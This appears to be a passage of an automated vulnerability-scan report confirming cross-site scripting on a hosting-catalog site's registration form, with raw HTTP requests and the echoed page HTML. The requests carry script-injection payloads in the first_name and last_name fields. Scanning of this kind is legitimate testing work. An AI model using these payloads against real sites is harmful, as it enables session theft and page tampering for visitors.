state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 579
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CE1)%3c%2fscript%3e&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:26 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE356073824055B018548D20C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073A6F0D249EB39E26D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE35607361E67A86CE5946B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE3560730AC52E4392916416C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073D800B7AF8D66BAF06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073E414B3C817CDCD62C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE35607375DEFB6F3F3862FEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073A806918CEEDD134A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073A6BF090D3691DFF9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073FE6F935A5BCF4AD56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE3560738F6D7A93301AFDA5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073D43CFF6E8A3FC63FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE3560730240EBB49A922D02C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073275EEC00AE0100F2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE35607322757DE9B9604EE5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE356073A55563E1CE7B9F49C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE356073B6E18F6EB92B982C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE3560738EA57356AC28348E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE35607360D4215F621F68A76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST '"--></style></script><script>alert(0x001CE2)</script>
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 579
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CE2)%3c%2fscript%3e&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:28 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE3560731249FB14E3673374C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073BF9B9DC04BE837866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE356073C394A632D9377444C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE3560731A9E286A6CC9087BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073FD7C1B7CD9621D406F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE35607376714EAD74631C9BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE3560733B5BB07885FA571AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073B9C6F270B96027BF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073D93BDAA77DDE28FAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073FEEEE67A726B30ED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE356073057AD5F6FF7D2596C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE3560733C4A32B4117BC344C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE356073B7BBCDCEDCA0DCAAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073599E7B5319C5B119C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE356073F2CC7DDE3AEF24A2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE3560736DA8A7B5DC362788C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE356073D131797A7D806AAB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE35607393A32FD231FE228E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE35607312AC041CE21E79046F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
